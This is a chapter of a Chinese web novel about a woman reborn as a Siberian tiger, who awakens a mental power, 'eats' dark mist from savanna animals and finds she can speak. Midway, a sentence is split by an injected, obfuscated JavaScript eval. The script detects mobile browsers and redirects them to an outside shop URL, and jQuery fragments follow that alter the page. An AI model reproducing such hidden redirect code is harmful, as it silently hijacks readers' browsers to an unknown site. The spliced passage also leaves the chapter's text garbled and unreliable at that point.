9. 进化成老虎精

作品:《穿成东北虎后成草原女王了

    容静就是在这个时候闯入斑鬣狗的视线的,那双琥珀色的眼睛越过尼罗鳄,落在了向导的身上。


    下一秒,它带着同归于尽的气势朝着鳄鱼冲了出去、


    容静吓的腿都软了,这是她第一次见识到独属于动物世界的生死搏杀,不是隔着屏幕,而是真切发生在眼前。


    她听到了斑鬣狗的吼声,听到鳄鱼了的嘶鸣,还有牙齿和鳞片碰撞时发出的沉闷声响。


    斑鬣狗的牙齿咬穿了鳄鱼的脸,血水顺着下巴往下淌,一圈一圈地滴在水面上。


    尼罗鳄疼得狠狠一甩尾,斑鬣狗被甩出去,在空中翻了两圈,重重地摔在岸边的沙地上。


    容静的心瞬间提到了嗓子眼,下意识想要跑过去确认斑鬣狗的安危,一虎一狗相处了这么久,她是真的不想看见它出事……


    更何况……不知道为什么,每次对上那双琥珀黄的眼睛时,她总会想起那个梦。


    梦里的男人也有一双琥珀黄的眼睛。


    尼罗鳄宛如王者站在水中央,它也伤得不轻,身上了布满纵横的伤口,但对比斑鬣狗明显还有余力。


    它愤怒地盯着沙地上还在挣扎着爬起来的对手,耐心彻底耗尽。


    尼罗鳄张开血盆大口,两排牙齿在阳光下闪着寒光,从来没见过这种对手,快死了还不知道逃命,还要死缠烂打。


    鳄鱼眯了眯眼睛,这次,它要咬碎它的脊骨!


    看着尼罗鳄的动作,容静来不及多想,身体已经冲下意识冲了过去。


    等她反应过来的时候,她已经站在了尼罗鳄和斑鬣狗的中间。


    尼罗鳄的嘴就在她面前,不到一步的距离,她甚至能闻到腐肉和鲜血混在一起的腥臭味。


    容静的大脑在尖叫着告诉她,快跑,你在干什么!


    但她动不了,不是不想动,是身体不听使唤了。


    她被那双独属于爬行动物的、冰冷的竖瞳牢牢钉在了原地。


    然后……容静感觉自己的头开始痛。


    不是普通的痛,是从大脑深处炸开的、像有什么东西要破壳而出的钝痛。


    她感觉不止自己的大脑,甚至身体都在被撕裂重组,她蹲下去,爪子抱住头,嘴张开却发不出声音。


    痛。


    痛到她想死。


    逐渐的她感觉到像是有什么东西,像是触手一样从她的大脑深处探了出来,从眉心向四面八方蔓延。


    然后,她“看到”了自己。


    一只体型不小的亚成年东北虎,长相圆润虎头虎脑的,正蹲在尼罗鳄和斑鬣狗之间,将这二者隔开。


    然后,她看到了更远的地方,容静发现自己的意识在越过水塘,越过草原……向四周蔓延扩散。


    草原在她脚下展开,像一幅无边无际的地图,她看到了遥远的雪山,看到了奔驰的斑马,看到了聚在一起的象群……


    然后她看到了似曾相识,仿佛在哪里见过的黑雾。


    它缠绕在一些特定的动物身上,浓得像墨汁,把整只动物裹在里面,只露出一双双或是浑浊、或是暴躁麻木的眼睛。


    那些动物……不,不对,应该不是动物。


    她不知道它们是什么,但应该不是普通的野兽。


    容静的精神力扫过趴在岩石上的矫健花豹,优雅漫步的角马羚,蜷在洞穴深处的胡狼……甚至还有盘旋在天空中的冕雕。


    它们身上无一例外都缠绕着浓厚的黑雾,相比之下,自己身侧的斑鬣狗反而是最淡的一个,当然也没淡多少就是了。


    容静看着那些黑雾,心里涌起一种奇怪的感觉。


    不是害怕,是馋。


    她咽了一下口水,那些黑雾在她眼里,像一盘盘热气腾腾的美食。


    她的身体在渴望它们,她的大脑、她的精神力在向她尖叫:去吃!去把它们都吃掉!


    容静的精神力扫过一只藏在洞穴中的胡狼,恍惚间闻到了一股清冷的桂花香,那股桂花香凉丝丝的,勾着她的鼻子,勾着她的胃。


    容静咽了咽口水,再也忍不住馋意,她就……就吃一点点,应该不会被发现的吧?


    在容静精神力的撬动下,胡狼的身体瞬间绷紧,疑惑的看向四周,却没有看到任何可疑人物。


    容静无师自通的用精神力触手,收取了一缕黑雾尝了尝,桂花香瞬间在舌尖炸开。


    但不是那种甜腻的香,而是独属于深秋的清冷味道,凉丝丝的,像冰镇的桂花蜜。


    好吃,还想吃。


    胡狼抖了抖,把身体蜷缩起来,似是在拒绝,但眼睛里又带着期待。


    而它周身的黑雾似乎感觉到了威胁,猛地往胡狼的身体里缩了半寸。


    容静没有追击,反而将精神力从胡狼身上移开了,因为就在刚刚她闻到了另一股味道,黑芝麻香,是那种现炒的、刚出锅的黑芝麻,带着浓郁的油脂香的、让人想把舌头都吞下去的香气。


    容静很快锁定了目标,将精神力伸向远处的一只花豹。


    它趴在岩石上,身体蜷成一团,四肢和躯干都被黑雾紧紧缠绕着。


    花豹没有看她,也有可能是假装没有看到她。


    随着精神力的靠近,花豹的身体瞬间绷紧,但它没有跑,也没有攻击,只是悄然把脸埋进尾巴里,分不清是不是在害羞。


    容静再次捏起一小缕黑雾,张嘴吸了进去,果然浓烈醇厚,像冬天早晨刚磨好的黑芝麻糊。


    她闭上眼睛,回味了一下,忍不住又想再来一口。


    花豹的身体颤了一下,尾巴尖轻轻扫了一下她的精神力触手,像是在阻止,又像是在默许。


    容静被勾得心痒痒,正准备来上第二口时,又一股味道随风飘扬了过来。


    她舔了舔嘴唇,是樱桃的味道,熟透了正在发酵的樱桃,甜中带酸,酸中带涩。


    容静的精神力扫过天空,锁定住了天空中那只冕雕,伸手抽了一缕。


    冕雕在天空中猛地振了一下翅,暴躁的在天空中盘旋了一圈又一圈,像是在寻找罪魁祸首。


    容静嚼着泛着酒香的樱桃味黑雾,心想:这只冕雕还挺烈。


    还有透着肉桂香气的岩蟒、她伸着触手去够的时候,蛇信子几乎舔到了她的触手。


    容静畏惧地缩了一下,还是舍不得那股辛香味。


    ……


    容静十分花心,忘乎所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486723|202053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以地品尝着每一只萦绕着黑雾的动物,它们身上的味道各异,但每一种都很美味。


    但容静不敢多吃,只敢偷偷蘸取一点品尝,甚至连面前的尼罗鳄和地上的斑鬣狗都不放过。


    这两只刚刚还在剑拔弩张的动物,在容静的精神力触手下陡然温顺了起来,尼罗鳄甚至眯起眼睛打了个呼噜。


    然后她看到了那只被她救了的耳廓狐。


    它被厚厚的黑雾围住,站在河沟边的石头上,身上萦绕着一股冷冽的气息,就像雪山上融化的一泓清泉。


    这让刚刚品尝过太多味道的容静顿时眼前一亮。


    她看着耳廓狐,犹豫了一下。


    耳廓狐也在看她,或者说是她的精神力触手。


    眼睛里没有任何的抗拒,它安静的等着、像是早有预料,容静伸出触手,果然它没有躲。


    那味道像山泉水一样,清甜解渴,咽下去后,整个身体都像被洗礼过一遍。


    这让她忍不住又抽了一缕。


    耳廓狐的耳朵动了一下,尾巴尖顿了顿,浑身在颤抖,仿佛在经历什么难耐的事,但即便如此,依旧没有躲。


    容静见对方这么纵容,忍不住又抽了第三缕。


    这一次,耳廓狐伸出爪子,轻轻按住了她的精神力触手。


    不重,只是搭在上面,像是在说已经足够了,容静意犹未尽地将精神力触手缩回了大脑。


    随着精神力的回归,她的大脑更疼了,像是有什么东西在她脑子里炸开。


    但与之相对应的则是一股来自于灵魂的满足感。


    有一种饿了许久的人,终于吃了顿饱饭,即使吃到胃疼,快要撑死也不想吐出去的感觉。


    对于自己的状况,容静脑子里无师自通的闪过一个念头:糟糕,好像太贪吃,吃撑了。


    她艰难地忍着头疼睁开眼睛,发现自己还蹲在水塘边,还站在尼罗鳄和斑鬣狗之间。


    刚刚一切好像只过了几秒,尼罗鳄还张着嘴,还保持着那个准备咬下去的姿势没动。


    但它的眼睛变了,独属于爬行动物的冰冷竖瞳里,出现了一抹犹豫。


    它慢慢把嘴合上,然后转过身,拖着沉重的身体,离开了这片水塘,像是要将这块舒适的栖息地拱手让给容静。


    容静还站在原地,大脑一片空白。


    她不知道发生了什么,不知道尼罗鳄为什么突然走了,不知道刚才那一切是幻觉还是什么。


    而还躺在她脚边的斑鬣狗,虽然浑身是血,但胸口还在微微起伏。


    它还活着!


    容静将爪子轻轻搭在斑鬣狗的背上,感受着它的心跳,很微弱,但还在跳。


    “你……你没事吧?”


    容静感觉自己的声音在抖,沙哑得不像样。


    等等!


    容静难以置信地摸着自己的喉咙。


    我会说人话了!


    我会说人话了!


    我会说人话了!


    容静慌乱地伸爪摸了摸自己的虎头,表情更惊恐了,明明外表还是只老虎,为什么突然就会说人话了?


    难道在变成东北虎以后,她又进化成老虎精了?